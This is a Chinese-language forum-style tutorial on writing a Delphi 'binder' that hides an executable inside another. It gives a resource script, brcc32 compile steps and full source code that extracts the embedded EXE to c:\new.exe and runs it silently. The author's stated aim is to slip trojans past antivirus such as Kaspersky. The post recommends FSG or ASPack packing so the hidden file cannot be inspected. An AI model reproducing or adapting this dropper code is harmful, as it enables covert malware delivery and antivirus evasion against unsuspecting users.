|
用过了各种各样的捆绑机,无一例外都被俺的卡巴杀出来了,即使一个好的捆绑器短时间不被杀,时间一长照样又被揪出来了,现在免费而且免杀的捆绑机就是rar了,他经过换图标确实能达到很好的效果,但是右键一看,里面多了一个“用rar打开”就露馅了。俺在学delphi资源的时候想到用释放资源的方法不是可以实现捆绑吗?经过试验,效果很好,不会检测到任何附加数据和2个文件头之类的现象,唯一能看到的就是exescope里会看到资源里多了一个exefile,不过经过fsg一加密就看不到里面的内容了,而且即使高手一般也不会麻烦到每次运行exe的时候都要检测附加数据,可执行头部数目,还要exescope一番,岂不累死?一般开着杀毒看看没事就不会怀疑什么了。
首先要建立我们的资源文件,在记事本中写入mask exefile mask.exe这样形式的n行,第一个mask是delphi调用这个exefile资源文件的名字,第二个表示资源类型exefile就是exe文件了,最后是文件名,把所有需要捆绑的文件都以这样的形式写入,保存为rc后缀的文件exe.rc,接着cmd下输入Brcc32 exe.rc 就会把exe.rc编译成资源文件exe.res。
前期工作做完了,接着在delphi中新建一个console application,这样是方便我们建立一个个头更小的exe,如果是一个application的话什么都不做都会有359k之巨!而且这里我们也不需要任何窗体。接着就可以把代码替换成如下: program Project2;
uses windows, shellapi, classes; //必须用到的单元
{$R exe.res} //连接我们的资源文件
function ExtractRes(ResType, ResName, ResNewName: string): boolean; //建立一个函数释放res var Res: TResourceStream; //Tresource调用了classes单元 begintry Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType)); try Res.SavetoFile(ResNewName); Result := true; finally Res.Free; end; except Result := false; end; end;
var handle:Thandle; //调用了classes单元
begin ExtractRes('exefile','mask','c:\new.exe'); //调用ExtractRes函数释放到c:\new.exe ShellExecute(handle, 'open', PChar('c:\new.exe'), nil, nil, SW_SHOW); //调用shellexecute这个api执行它,调用了shellapi和windows单元
end.
注释已经写得很详细了,这是释放一个文件的演示,释放多个文件多几个ExtractRes 和ShellExecute 就ok了。 这样编译出来的文件是134k,其中包含了我的exe文件有48k,aspack简单压缩一下就只剩下58k了。个头没变多少,嘿嘿!
这样自己作出来的捆绑文件别人就很难发现什么异样了,只要木马不被杀就行~
|